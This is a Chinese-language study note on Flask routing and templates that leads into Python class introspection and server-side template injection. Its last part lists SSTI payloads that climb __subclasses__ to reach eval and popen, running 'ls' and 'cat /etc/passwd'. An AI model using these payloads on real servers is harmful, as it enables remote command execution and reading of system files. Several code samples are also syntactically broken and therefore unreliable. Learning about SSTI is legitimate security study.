flask是一个使用python编写的轻量级web应用框架
python可以直接用flask启动一个web服务页面
cd /opt/flask1
source ./bin/activate
cd /root
vim demo.py
python3 demo.py
其中demo.py文件:
from flask import Flask #启动flask模块,创建一个Flask类
app = Flask(__name__) #__name__是系统变量,指的是本py文件的文件名
#路由:基于浏览器输入的字符串寻址
@app.route('/world')
def hello():
return "hello world"
@app.route('/man')
def hello():
return "hello man"
#只能被python直接运行,而不能被作为组件或模块被调用
if __name__=='__main__':
app.run(debug=True,host="0.0.0.0",port=8081) #改完配置自动生效
#debug建议只能在学习中开启 host="0.0.0.0"监听所有的物理接口
通过向规则参数添加变量部分,可以动态构建URL
from flask import Flask
app = Flask(__name__)
@app.route('/hello/' )
def hello(name):
return "hello %s" % name
@app.route('int/' )
def hello(ID):
return "hello %d" % ID
if __name__=='__main__':
app.run(debug=True)
在python demo.py中插入路由:
@app.route('/login',methods=['POST','GET'])
def login():
if request.method == 'POST':
print(1)
user = request.form['ben']
return redirect(url_for('success',name = user)) #redirect重定向
else:
print(2)
user = request.args.get('ben')
return redirect(url_for('success',name = user))
把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本
模板是一个响应文本的文件,其中使用占位符(变量)表示动态部分。
代码结构清晰,耦合度低
· 处理业务逻辑:视图函数只负责业务逻辑和数据处理
· 返回相应内容:模板取到视图函数的数据结果来进行展示
加载html文件,默认文件路径在templates目录下。
from flask import Flask,render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run()
在templates目录下创建index.html文件
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Titletitle>
head>
<body>
模板html展示页面
<br>
{{my_str}}
body>
html>
两者结合:
from flask import Flask,render_template
app = Flask(__name__)
@app.route('/')
def index():
my_str = 'Hello world'
my_int = 12
my_array = [5,2,0,1,3,1,4]
my_duct = {
'name' = 'dazhuang',
'age':18
}
return render_template("index.html",
my_str=my_str,
my_int=my_int,
my_arry=my_array,
my_dict=my_dict
)
if __name__ == '__main__':
app.run()
用于渲染字符串,直接定义内容
from flask import Flask,render_template
app = Flask(__name__)
@app.route('/')
def index():
my_str = 'Hello world'
my_int = 12
my_array = [5,2,0,1,3,1,4]
my_duct = {
'name' = 'nannan',
'age':18
}
return render_template_string('Title 模板html展示页面
%d
%s' % (my_int,my_str))
if __name__ == '__main__':
app.run()
父类和子类(子类调用父类下的其他子类)
~python flask脚本没有办法直接执行python指令
object是父子关系的顶端,所有数据类型最终的父类都是object
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = c()
print(c.__class__) # 当前类C
print(c.__class__.__base__) # 当前类的父类B
print(c.__class__.__base__.__base__) #
print(c.__class__.__base__.__base__.__base__) #
print(c.__class__.__mro__) # 上面四个层层递进一起输出
print(c.__class__.__base__.__subclasses__()) # B下的所有子类(数组形式)
print(c.__class__.__base__.__subclasses__()[1]) #调用子类D
__class__ #查找当前类型的所属对象
__base__ #沿着父子类的关系往上走一个
__mro__ #查找当前类对象的所有继承类
__subclasses__() #查找父类下的所有子类
简单的payload(注意类型)
{{''.__class__.__base__.__subclasses__()}}
{{"".__class__.__base__.__subclasses__()}} #str类型
{{[].__class__.__base__.__subclasses__()}} #list类型
{{().__class__.__base__.__subclasses__()}} #元组类型
然后,寻找一些关键的模块
{{''.__class__.__base__.__subclasses__()}}
#例如:os.wrap_close #找到对应的列数
{{''.__class__.__base__.__subclasses__()[117]}}
{{''.__class__.__base__.__subclasses__()[117].__init__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
# __builtins__提供对python的所有"内置"标识符的直接访问
# eval()计算字符串表达式的值
# popen()执行一个shell以运行命令来开启一个进程
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
#这里也可以直接调用
后续的ssti模板注入学习笔记:https://blog.csdn.net/m0_73559432/article/details/130173574?spm=1001.2014.3001.5502